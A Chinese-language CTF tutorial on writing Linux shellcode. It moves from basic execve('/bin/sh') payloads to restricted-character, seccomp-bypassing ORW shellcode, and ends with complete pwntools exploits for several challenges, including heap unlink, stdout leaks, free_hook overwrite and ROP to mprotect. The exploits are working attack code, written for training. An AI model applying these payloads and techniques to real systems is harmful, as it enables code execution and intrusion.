什么是Shellcode:
shellcode是我們寫入到程序的一段可執行代碼,通過執行這串代碼我們可以拿到靶機的shell,從而可以干你想干的事。不過現在的題目一般都對可以寫入的位置做了限制,既可寫不可執行。但如果是一道專門的shellcode題,則會在某一段加入可寫可執行的權限,或則利用mprotect()或者_dl_make_stack_executable()改寫某些區域的proc再執行。
32位的shellcode和64位的略有不同,這里我們先講32位的shellcode。
x86:
我們先用C寫一個調用shell的程序,其代碼如下:
#include <stdio.h> #include <stdlib.h> int main() { execve("/bin/sh", 0, 0); return 0; }
編譯成32位程序:gcc -m32 -g -o test1 test1.c,運行便可以拿到我們本機的shell。
我們調試一下看看是怎么調用execve()這個函數的。
這里我們進入到execve()函數里,發現是這樣一串匯編代碼:
執行后寄存器的值為:
我們可以發現再調用execve()函數之前,程序顯示給相應的寄存器賦值,然后調用execve()函數。現在我們可以模仿這個調用機制來寫相對應的匯編代碼。
不過要注意的是,之前的是一個完整的C語言程序,但在shellcode中引入這么多頭文件是不現實的,因此我們用int 80h系統調用(有關int 80h的知識讀者可自行百度),再者寫匯編時 “/bin/sh” 這個字符串需要我們手動壓入棧中,寫好的程序如下:
mov edx,0 mov ecx,0 push 0x68732f push 0x6e69622f mov ebx,esp mov eax,0xb int 0x80
編寫一個測試程序如下:
// gcc main.c -m32 -z execstack -o main #include <stdio.h> int main() { void (*ptr)(); char buf[0x20]; puts("shellcode>>"); read(0, buf, 0x20); ptr = buf; ptr(); }
exp如下:
from pwn import * context.log_level = 'debug' context.arch = 'i386' p = process("./test") #gdb.attach(p) shellcode = asm(''' mov edx, 0 mov ecx, 0 push 0x68732f push 0x6e69622f mov ebx, esp mov eax, 0xb int 0x80 ''') info(disasm(shellcode)) p.sendafter("shellcode>>\n", shellcode) p.interactive()
運行一下exp就可以拿到我們本機的shell。這里我們觀察一下shellcode的十六進制機器碼:
總共占29個字節,而且包含很多壞字符'\x00',容易導致shellcode被截斷失去作用。這時候我們就要對shellcode進行優化。
- mov edx, 0是對寄存器edx清零,占5個字節。xor edx, edx也是對edx寄存器清零,但是只占兩個字節,因此我可以用xor指令進行替換
- 同理,把mov ecx, 0 替換為xor ecx, ecx
- mov eax, oxb其實是對寄存器eax低8位賦值,因此我們可以將其改為mov al, 0xb
優化后的shellcode為:
xor edx, edx xor ecx, ecx push 0x68732f push 0x6e69622f mov ebx, esp mov al, 0xb int 0x80
此時shellcode的大小變為20字節
另一種方法就是用mul指令來清零eax和edx,其代碼如下:
mul ebx xor ecx, ecx mov al, 0xb push 0x0068732f push 0x6e69622f mov ebx, esp int 0x80
優化后的字節數也是20字節
x64:
同樣,先寫出一個完整的C程序觀察如何調用shell,代碼如下:
#include <stdio.h> #include <stdlib.h> int main() { execve("/bin/sh", 0, 0); return 0; }
編譯運行並調試,有如下結果
然后模仿這個調用過程寫出匯編代碼:
mov rdx, 0 mov rsi, 0 mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp mov rax, 0x3b syscall
同樣對shellcode進行優化,優化后的代碼如下:
mov al, 59 push rbx push rbx pop rsi pop rdx mov rdi, 0x68732f6e69622f push rdi push rsp pop rdi syscall
題外:幾個有用的命令
nasm -f elf64 shellcode.asm
ld -m elf_x86_64 -o shellcode shellcode.o
例題:
限制字符范圍,禁用execve和open
查看題目保護:
用IDA分析程序時發現有禁用系統調用,如下:
且限制輸入的字符ascii在0x1f到0x7f,即只能輸入可見字符。
思路分析:
限制了系統調用不能getshell,所以采用orw。
由上圖可知open函數是禁用的。這里我們先看看允許的系統調用號為多少。
由上可知,如果我們把程序改為32位運行,就可以使用open函數,之后又改為64位運行,就可以調用read、wirte函數。
修改程序運行模式需要用到retfq這個指令,這個指令有兩步操作:ret和set cs。cs=0x23程序以32位模式運行,cs=0x33程序以64位模式運行。retfq這個指令參數是放在棧中,[rsp]為要執行的代碼的地址,[rsp + 0x8]為0x23或0x33。需要的注意的是,在由64位變為32位后,rsp的值會變成非法值,故需先修復rsp的值在執行相應的代碼
總體思路:
- mmap分配一段地址為4個16進制位的內存(如:0x40404040)。其有兩個目的:生成地址可控的內存空間,方便用read寫入code;防止程序變為32位后寄存器無法存儲原本5個16進制位的地址。
- 用匯編實現read函數
- retfq改為32運行模式
- open打開flag文件
- retfq改為64位運行模式
- read
- wirte
踩坑記錄:因為以前做到orw的題目用open打開后文件描述符一般都是3,所以這里我也用3作為參數,結果遠程環境不是3,在這里浪費了好多時間
完成exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) DEBUG = 1 if DEBUG == 0: p = process('./shellcode') elif DEBUG == 1: p = remote('nc.eonew.cn', 10011) code_append = asm(''' push rcx pop rcx ''', arch = 'amd64', os = 'linux') # 用mmap分配一段內存空間 code_mmap = asm(''' /*mov rdi, 0x40404040*/ push 0x40404040 pop rdi /*mov rsi, 0x7e*/ push 0x7e pop rsi /*mov rdx, 0x7*/ push 0x37 pop rax xor al, 0x30 push rax pop rdx /*mov r8, 0*/ push 0x30 pop rax xor al, 0x30 push rax pop r8 /*mov r9, 0*/ push rax pop r9 /*syscall*/ push 0x5e pop rcx xor byte ptr [rbx+0x2c], cl push 0x5c pop rcx xor byte ptr [rbx+0x2d], cl /*mov rax, 0x9*/ push 0x39 pop rax xor al, 0x30 ''', arch = 'amd64', os = 'linux') code_read = asm(''' /*mov rsi, 0x40404040*/ push 0x40404040 pop rsi /*mov rdi, 0*/ push 0x30 pop rax xor al, 0x30 push rax pop rdi /*mov rdx, 0x7e*/ push 0x7e pop rdx /*mov rax, 0*/ push 0x30 pop rax xor al, 0x30 /*syscall*/ push 0x5e pop rcx xor byte ptr [rbx+0x4f], cl push 0x5c pop rcx xor byte ptr [rbx+0x50], cl ''', arch = 'amd64', os = 'linux') code_retfq = asm(''' /* 算出0x48 */ push 0x39 pop rcx xor byte ptr [rbx + 0x71], cl push 0x20 pop rcx xor byte ptr [rbx + 0x71], cl /* * 利用無借位減法算出0xcb */ push 0x47 pop rcx sub byte ptr [rbx + 0x72], cl sub byte ptr [rbx + 0x72], cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''', arch = 'amd64', os = 'linux') code_open = asm(''' /* open函數 */ mov esp, 0x40404550 push 0x67616c66 mov ebx, esp xor ecx, ecx xor edx, edx mov eax, 0x5 int 0x80 mov ecx, eax ''', arch = 'i386', os = 'linux') code_retfq_1 = asm(''' /* retfq */ push 0x33 push 0x40404062 /* 具體數字有待修改 */ retfq ''', arch = 'amd64', os = 'linux') code_read_write = asm(''' /* 修復棧 */ mov esp, 0x40404550 /* 有待修改 */ /* read函數 */ mov rdi, rcx mov rsi, 0x40404800 mov rdx, 0x7a xor rax, rax syscall /* write函數 */ mov rdi, 0x1 mov rsi, 0x40404800 mov rdx, 0x7a mov rax, 0x1 syscall ''', arch = 'amd64', os = 'linux') #gdb.attach(p, 'b * 0x4002eb\nc\nsi') code = code_mmap code += code_append code += code_read code += code_append code += code_retfq code += code_append code1 = code_open code1 += code_retfq_1 code1 += code_read_write p.sendafter("shellcode: ", code) #pause() p.sendline(code1) p.interactive() p.close()
編寫code時的一些小技巧:
1、用push、pop來給寄存其賦值 push rax pop rax 2、用寄存器代替操作數 xor byte ptr [rax + 0x40], 0x50 80 70 40 50 可用如下代碼代替 push 0x50 6a 50 pop rcx 59 xor byte ptr [rax + 0x40], cl 30 48 40 3、清零某一寄存器可用如下代碼 push 0x30 6a 30 pop rax 58 xor al, 0x30 34 30 4、盡量使用al、bl、cl而非dl 5、有時候交換兩個寄存器的位置可以減小機器碼值的大小
orw:
32位程序,題目為比較簡單,沒有字符限制,直接上exp:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./orw') code = asm(''' /* open */ push 0 push 0x67616c66 mov ebx, esp /* 第一個參數的地址 */ xor ecx, ecx xor edx, edx mov eax, 5 /* 系統調用號 */ int 0x80 /* read */ mov ebx, eax /* 文件描述符 */ mov ecx, 0x0804a050 /* 寫入數據的內存地址 */ mov edx, 0x20 /* 讀取數據的長度 */ mov eax, 0x3 /* 系統調用號 */ int 0x80 /* write */ mov ebx, 1 /* 文件描述符 */ mov ecx, 0x0804a050 /* flag地址 */ mov edx, 0x20 /* 打印的數據長度 */ mov eax, 0x4 /* 系統調用號 */ int 0x80 ''', arch = 'i386', os = 'linux') #gdb.attach(p, 'b * 0x0804858a\nc\nsi') p.sendafter("shellcode:", code + '\x00') p.interactive()
限制字符在[0-9]、[A-Z]:
題目源代碼:
// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2 int main() { char buf[0x200]; int n, i; n = read(0, buf, 0x200); if (n <= 0) return 0; for (i = 0; i < n; i++) { if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) // 0~9 A~Z return 0; } ((void(*)(void))buf)(); }
這個shellcode我們可以用工具生成,具體看博客
exp如下:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] p = process('./chall2') payload1 = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA" info(len(payload1)) p.send(payload1) p.interactive()
Death_note:
這題把字符限制在可見字符范圍內,且輸入的shellcode長度不得超過0x50。這個還是比較好編寫的。具體的可用的指令如下:
1.數據傳送: push/pop eax… pusha/popa 2.算術運算: inc/dec eax… sub al, 立即數 sub byte ptr [eax… + 立即數], al dl… sub byte ptr [eax… + 立即數], ah dh… sub dword ptr [eax… + 立即數], esi edi sub word ptr [eax… + 立即數], si di sub al dl…, byte ptr [eax… + 立即數] sub ah dh…, byte ptr [eax… + 立即數] sub esi edi, dword ptr [eax… + 立即數] sub si di, word ptr [eax… + 立即數] 3.邏輯運算: and al, 立即數 and dword ptr [eax… + 立即數], esi edi and word ptr [eax… + 立即數], si di and ah dh…, byte ptr [ecx edx… + 立即數] and esi edi, dword ptr [eax… + 立即數] and si di, word ptr [eax… + 立即數] xor al, 立即數 xor byte ptr [eax… + 立即數], al dl… xor byte ptr [eax… + 立即數], ah dh… xor dword ptr [eax… + 立即數], esi edi xor word ptr [eax… + 立即數], si di xor al dl…, byte ptr [eax… + 立即數] xor ah dh…, byte ptr [eax… + 立即數] xor esi edi, dword ptr [eax… + 立即數] xor si di, word ptr [eax… + 立即數] 4.比較指令: cmp al, 立即數 cmp byte ptr [eax… + 立即數], al dl… cmp byte ptr [eax… + 立即數], ah dh… cmp dword ptr [eax… + 立即數], esi edi cmp word ptr [eax… + 立即數], si di cmp al dl…, byte ptr [eax… + 立即數] cmp ah dh…, byte ptr [eax… + 立即數] cmp esi edi, dword ptr [eax… + 立即數] cmp si di, word ptr [eax… + 立即數] 5.轉移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交換al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) #p = process('./death_note') p = remote('chall.pwnable.tw', 10201) def Add(index, content): p.sendlineafter('Your choice :', '1') p.sendlineafter('Index :', str(index)) p.sendafter('Name :', content) def Show(index): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index :', str(index)) def Delete(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index :', str(index)) #gdb.attach(p, 'b * 0x08048770\nc\nb * 0x080487c0\nb * 0x08048873\nc 3\nc 3\nsi') shellcode = asm(''' /* 計算/bin/sh 13 */ push 0x2b pop ecx sub byte ptr [eax+0x44], cl sub byte ptr [eax+0x48], cl /*計算ebx*/ push eax pop ecx xor al, 0x44 push eax pop ebx /* 計算int 0x80 */ push ecx pop eax push 0x40 pop ecx sub byte ptr [eax+0x37], cl push 0x43 pop ecx sub byte ptr [eax+0x37], cl push 0x60 pop ecx sub byte ptr [eax+0x38], cl push 0x70 pop ecx sub byte ptr [eax+0x38], cl /* 清零ecx, edx 9 */ push 0x40 pop eax xor al, 0x40 push eax pop ecx push eax pop edx push 0x4b pop eax xor al, 0x40 ''') payload = shellcode payload += '\x50'*13 payload += 'ZbinZsh\n' Add(-19, payload) Delete(-19) p.interactive()
2018-XNUCA steak:
這道題不是單純的編寫shellcode的題目,這個題結合了堆利用、ROP、shellcode、IO_FILE等知識,是一道綜合能力比較強的題目。
在用IDA分析時看到有prctl函數,所用先用seccomp工具查看禁用的系統調用。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
這題我在看大佬博客時說因為禁用里fork調用,所以不能用getshell這個方法,目前我也每弄清除為啥。
接下來看下程序本身的漏洞。
在add函數中讀入數據時最后字符串不會添加'\x00'
在delete函數中free后沒用清空指針
在edit函數中存在堆溢出
程序中還有其他漏洞,不過我們需要利用的就只有這幾個。
思路分析:
- 程序中管理分配的chunk的數組地址是可控的,可以利用unlink來控制數組,從而達到任意地址寫的目的
- 程序中沒有leak函數,所以我們需要修改stdout表來泄漏動態鏈接表加載基址
- 向free_hook中寫入puts函數泄漏棧地址(free函數對要釋放的chunk的有嚴格的檢查機制,這道題要把棧當作堆來釋放,明顯不符合chunk的格式,但在free時卻不會報錯,目前每理清楚)
- 向.bss節寫入orw的代碼
- mprotect修改.bss節可執行
完整的exp如下:
# -*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] p = process('./steak') libc = ELF('libc-2.23.so') def Add(size, buf): p.sendlineafter('>\n', '1') p.sendlineafter('input buf size:\n', str(size)) p.sendafter('input buf', buf) def Delete(index): p.sendlineafter('>\n', '2') p.sendlineafter('input index:\n', str(index)) def Edit(index, size, buf): p.sendlineafter('>\n', '3') p.sendlineafter('input index:\n', str(index)) p.sendlineafter('input size:\n', str(size)) p.sendafter('input new buf:\n', buf) def Copy(sindex, dindex, length): p.sendlineafter('>\n', '4') p.sendlineafter('input source index:\n', str(sindex)) p.sendlineafter('input dest index:\n', str(dindex)) p.sendlineafter('input copy length:\n', str(length)) def Edit1(index, size, buf): p.sendlineafter('>', '3') p.sendlineafter('input index:', str(index)) p.sendlineafter('input size:', str(size)) p.sendafter('input new buf:', buf) # unlink Add(0x80, 'A'*0x80) #0 Add(0x80, 'A'*0x80) #1 Add(0x80, 'A'*0x80) #2 Add(0x80, 'A'*0x80) #3 Add(0x80, 'A'*0x80) #4 payload = p64(0) + p64(0x81) + p64(0x6021a0) + p64(0x6021a8) + 'A'*0x60 + p64(0x80) + p64(0x90) Edit(3, 0x90,payload) Delete(4) # 修改stdout,leak payload = p64(0x6021a0) + p64(0x602180) Edit(3, 0x10, payload) Copy(1, 0, 0x8) payload = p64(0xfbad1800) + p64(0)*3 + '\x00' Edit(0, 0x21, payload) p.recv(0x18) libc_base = u64(p.recv(8)) - 0x3c36e0 libc.address = libc_base """ 將棧地址寫入到索引為0的數組中 """ ############ 寫入棧地址,為free函數泄漏棧地址作准備 ################# environ_addr = libc.symbols['environ'] payload = p64(0x6021a0) + p64(environ_addr) Edit1(3, 0x10, payload) ############ 向free_hook匯總寫入puts ################### free_hook = libc.symbols['__free_hook'] puts_addr = libc.symbols['puts'] Edit1(3, 0x8, p64(free_hook)) Edit1(0, 0x8, p64(puts_addr)) ############# Delete(1),泄漏棧地址 ################ p.sendlineafter('>', '2') p.sendlineafter('input index:', str(1)) p.recvuntil('\n') stack_addr = u64(p.recv(6) + '\x00\x00') info("stack_addr ==> " + hex(stack_addr)) ################# 在0x602500中寫入retfq orw ############## retfq = 0x811dc + libc.address orw = asm(''' mov esp, 0x6029f0 /* open */ mov ebx, 0x602544 mov ecx, 0 mov edx, 0 mov eax, 5 int 0x80 /* read */ mov ebx, eax mov ecx, 0x602800 mov edx, 0x40 mov eax, 3 int 0x80 /* write */ mov ebx, 1 mov ecx, 0x602800 mov edx, 0x40 mov eax, 4 int 0x80 ''', arch = 'i386', os = 'linux') Edit1(3, 0x8, p64(0x602500)) Edit1(0, len(orw) + 4, orw + 'flag') ############ mprotect ################# mprotect = libc.symbols['mprotect'] info("mprotect ==> " + hex(mprotect)) stack_ret_addr = stack_addr - 0xf0 pop_rdi = 0x0000000000400ca3 pop_rsi = libc_base + 0x202e8 pop_rdx = libc_base + 0x1b92 rop = p64(pop_rdi) + p64(0x602000) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx) + p64(7) rop += p64(mprotect) rop += p64(retfq) rop += p64(0x602500) rop += p64(0x23) + p64(0x602500) # retfq的參數 Edit1(3, 0x8, p64(stack_ret_addr)) Edit1(0, len(rop), rop) p.sendlineafter('>', '5') p.interactive()